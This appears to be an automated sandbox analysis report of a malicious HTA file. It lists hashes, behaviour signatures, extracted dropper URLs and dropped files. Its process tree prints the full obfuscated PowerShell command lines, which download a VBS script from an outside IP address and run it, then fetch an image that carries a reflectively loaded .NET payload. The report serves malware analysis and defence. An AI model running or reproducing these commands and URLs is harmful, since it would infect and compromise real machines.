Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-12-2024 02:56

General

  • Target

    fbda5655a80445279f376d372348b57ab9dbadae81e69df823a6949a412cbe96.hta

  • Size

    81KB

  • MD5

    fea592b533e97736debe379b886595a7

  • SHA1

    70eb330d0db30762edc64d262b7f1cfc24c8b540

  • SHA256

    fbda5655a80445279f376d372348b57ab9dbadae81e69df823a6949a412cbe96

  • SHA512

    da2ca1896e0d1d9f2e30e73ba1842e058fce5bfe43e4ebc8b8c3759d018abb73a330d975a6a857ea16c18bf48d73d02d2442eb8970823f42e480572773511637

  • SSDEEP

    768:t5bUZA+cT/RVeU2Dx6AyZ6LAuAHAmxLkFyYEOKuryyUSFG/w6acCEOKury/lI5Tq:t5

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fbda5655a80445279f376d372348b57ab9dbadae81e69df823a6949a412cbe96.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c poweRSHELl.EXe -Ex ByPAss -nOP -W 1 -c DeVIcEcrEDeNtIAldEPLoYMENt.ExE ; InVoke-ExPReSsIon($(InVoKE-ExpRESsIoN('[SYstEm.teXT.eNCOding]'+[cHAr]0x3A+[CHar]0x3a+'Utf8.GEtstRinG([SYstEM.convERT]'+[cHAR]0x3a+[cHAR]0x3A+'frOmbasE64STRing('+[CHAr]34+'JE5ZeFFkNGxBICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3lRQW1WSklRb0csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBRbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElyR2RwSHZTTWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZMTnpVbmZMRyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAienZqIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTll4UWQ0bEE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjE0Mi42MC81NTEvc2hlaXNteWdpcmx3aG9sb3ZlZG1lYWxvdHN0aWxsYWxzb3NoZWxvdmVzbWV0cnVseWZyb210aGVoZWFydC50SUYiLCIkRU52OkFQUERBVEFcc2hlaXNteWdpcmx3aG9sb3ZlZG1lYWxvdHN0aWxsYWxzb3NoZWxvdmVzbWV0cnVseS52YnMiLDAsMCk7U1RhUnQtc0xlZXAoMyk7aW5WT0tFLWV4cFJlU3NJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxzaGVpc215Z2lybHdob2xvdmVkbWVhbG90c3RpbGxhbHNvc2hlbG92ZXNtZXRydWx5LnZicyI='+[CHar]0X22+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2208
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        poweRSHELl.EXe -Ex ByPAss -nOP -W 1 -c DeVIcEcrEDeNtIAldEPLoYMENt.ExE ; InVoke-ExPReSsIon($(InVoKE-ExpRESsIoN('[SYstEm.teXT.eNCOding]'+[cHAr]0x3A+[CHar]0x3a+'Utf8.GEtstRinG([SYstEM.convERT]'+[cHAR]0x3a+[cHAR]0x3A+'frOmbasE64STRing('+[CHAr]34+'JE5ZeFFkNGxBICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3lRQW1WSklRb0csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBRbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElyR2RwSHZTTWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZMTnpVbmZMRyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAienZqIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTll4UWQ0bEE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjE0Mi42MC81NTEvc2hlaXNteWdpcmx3aG9sb3ZlZG1lYWxvdHN0aWxsYWxzb3NoZWxvdmVzbWV0cnVseWZyb210aGVoZWFydC50SUYiLCIkRU52OkFQUERBVEFcc2hlaXNteWdpcmx3aG9sb3ZlZG1lYWxvdHN0aWxsYWxzb3NoZWxvdmVzbWV0cnVseS52YnMiLDAsMCk7U1RhUnQtc0xlZXAoMyk7aW5WT0tFLWV4cFJlU3NJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxzaGVpc215Z2lybHdob2xvdmVkbWVhbG90c3RpbGxhbHNvc2hlbG92ZXNtZXRydWx5LnZicyI='+[CHar]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tm9ktyar.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A0C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4A0B.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2628
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\sheismygirlwholovedmealotstillalsoshelovesmetruly.vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1064
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $portioned = 'JHByZW9idGFpbnMgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskbGFsbHlnYWdnaW5nID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskdGF1bnRpbmdseSA9ICRsYWxseWdhZ2dpbmcuRG93bmxvYWREYXRhKCRwcmVvYnRhaW5zKTskbm9udmlyZ2lucyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0YXVudGluZ2x5KTskbmV3c21lbiA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskc3Bpcml0dWFsaXN0aWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRhc2Fmb2V0aWRhcyA9ICRub252aXJnaW5zLkluZGV4T2YoJG5ld3NtZW4pOyRzbm9vemUgPSAkbm9udmlyZ2lucy5JbmRleE9mKCRzcGlyaXR1YWxpc3RpYyk7JGFzYWZvZXRpZGFzIC1nZSAwIC1hbmQgJHNub296ZSAtZ3QgJGFzYWZvZXRpZGFzOyRhc2Fmb2V0aWRhcyArPSAkbmV3c21lbi5MZW5ndGg7JG95ZXMgPSAkc25vb3plIC0gJGFzYWZvZXRpZGFzOyRzdGlsbGluZyA9ICRub252aXJnaW5zLlN1YnN0cmluZygkYXNhZm9ldGlkYXMsICRveWVzKTskaG9sbG93bmVzc2VzID0gLWpvaW4gKCRzdGlsbGluZy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkc3RpbGxpbmcuTGVuZ3RoKV07JGNvbGVzbGF3cyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhvbGxvd25lc3Nlcyk7JG1hbmFnZW1lbnRzID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkY29sZXNsYXdzKTskamV3ZmlzaCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRqZXdmaXNoLkludm9rZSgkbnVsbCwgQCgnMC9uQ3gzMC9yL2VlLmV0c2FwLy86c3B0dGgnLCAnJGZvcmViZWFyJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCAnQ2FzUG9sJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCcxJywnJGZvcmViZWFyJykpOw==';$reprovals = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($portioned));Invoke-Expression $reprovals
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2520

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab5C64.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES4A0C.tmp

    Filesize

    1KB

    MD5

    7cd499b8f51c6723946ab3657c371438

    SHA1

    101672b3d8f1813cad2f75ca4fe26fe24c3acccf

    SHA256

    27f25cbe27ec9fa1661fb449ccfe8f899707a992e38cf3024250a31cbc9fe6c1

    SHA512

    1fe071f13168b7edcd710129e9b4ba0613e92876ceea2e81faccaab9decfdb72f37283af457c3bd374403fb6c12c8aade78cbf8afe05a5972eb1aacd1f05f6c3

  • C:\Users\Admin\AppData\Local\Temp\Tar5C87.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\tm9ktyar.dll

    Filesize

    3KB

    MD5

    b1579338acc45c33a753e5d2082fae11

    SHA1

    08397f579d86ddcf30348dabd880126eab236a35

    SHA256

    7d224d46d7af1185f2c14283c7e8a18e81e4c5f9408b3af9277fc6e747ef6043

    SHA512

    86df0c98e2efbea2ff5234264d851392b66f241f4e2d870c5bbc5e3cfabe2b8816b52153b895ba22aec396bc49b2035f0aaf878a951dde1dbb19bfaeda5f755d

  • C:\Users\Admin\AppData\Local\Temp\tm9ktyar.pdb

    Filesize

    7KB

    MD5

    7216089b8c26e759814c2c36ab5033dc

    SHA1

    ed82fb49df7c5c3adcf74b99e9276ede101c6ea7

    SHA256

    cd0e5c84201906d5244083c7631ee4f8900d82d20442d17d6bafa12700fb073c

    SHA512

    2a4271339a9c2204288ab348cc5da0ac20bc66247698f68c7203e8d117b6f8d9f2e87f4e1ed5cedc66b494fcbc946918f02e318bc3f73157ae0d27b599df8f1a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    6dd2b772274c7e23d656b557e53b0a9e

    SHA1

    d02440a584d72bf724c4186d1d79e0bb7570b49c

    SHA256

    946fd1631071bb8300bafe261a25103aaf04cbd2c90ba14cb721ccb7dab408a0

    SHA512

    c841f020f22e6c982febccba692bccf09c49dd8323a57747988ecef90e12af094a2fe7105a2862a8a2832c3276a34ec814f52db440184a9cc2dd5d95bcc854ae

  • C:\Users\Admin\AppData\Roaming\sheismygirlwholovedmealotstillalsoshelovesmetruly.vbs

    Filesize

    150KB

    MD5

    5ce00a79a9f41d260446bfdcc6267adf

    SHA1

    0b2b90beb56c59916b98004b1444698538729822

    SHA256

    efab5d21ed82f610bc5f1734b909a7e5c3a6c2ecebb276dd03b4d5baf8e9b058

    SHA512

    d4de7fe61f23ce7524ed3123319ac93f33ae1806bd426045ca9df1fa9ee82cca58aa314711bbde6a6ffa2eee98dc20cc5e4d80d2ec7abb028be0639944714fee

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC4A0B.tmp

    Filesize

    652B

    MD5

    48266383647bd996d4814325347be428

    SHA1

    3bc78542bcd70508d5ef8df729c2641cd4d8a243

    SHA256

    1a689da2f58d961d9088e88e6f668c6e60bfb236377882496f81c16153cac6c6

    SHA512

    f70aba8518cc4975ea4ae9c4a9376e944560c714bc8153bf2ae0a1c5d75c95da8b20657709b4595ca03ce345b2db727d05a968bb66e632c006949150fc5cd81e

  • \??\c:\Users\Admin\AppData\Local\Temp\tm9ktyar.0.cs

    Filesize

    477B

    MD5

    2e19302ee1faca85ea0132e02da90f67

    SHA1

    4930a2af181ce2fb012629f3ef214cb1b591f6ff

    SHA256

    e7eb33287b9b8be9ee6f0e247842a9a65567e1b6a63030951a79a05b6a38f46b

    SHA512

    cb97722eb63ab457df075a33fd61ba6c4cc516bde8dafb2e44bc762230242d0033a965cadba64d0c06a8447512e4e56043c78cda352bd597f395e0ab6b6e16e3

  • \??\c:\Users\Admin\AppData\Local\Temp\tm9ktyar.cmdline

    Filesize

    309B

    MD5

    47df74cf75beb3a33b9e1ed67cc0784b

    SHA1

    7ccb2d730976b9053feaebda18c9715b7820378d

    SHA256

    7cc1003d452e4418d60aae0e6c206994d679cd70a9ae76569dd773e94a2df84c

    SHA512

    39b132364b0bd7bcd3fbf6267ed87b6d9fba854909db9b639bc744daa09a2054f9de7d06ccddf74fec4da5bf2b9e6cd244f65093506c857509e7a6630cd34d87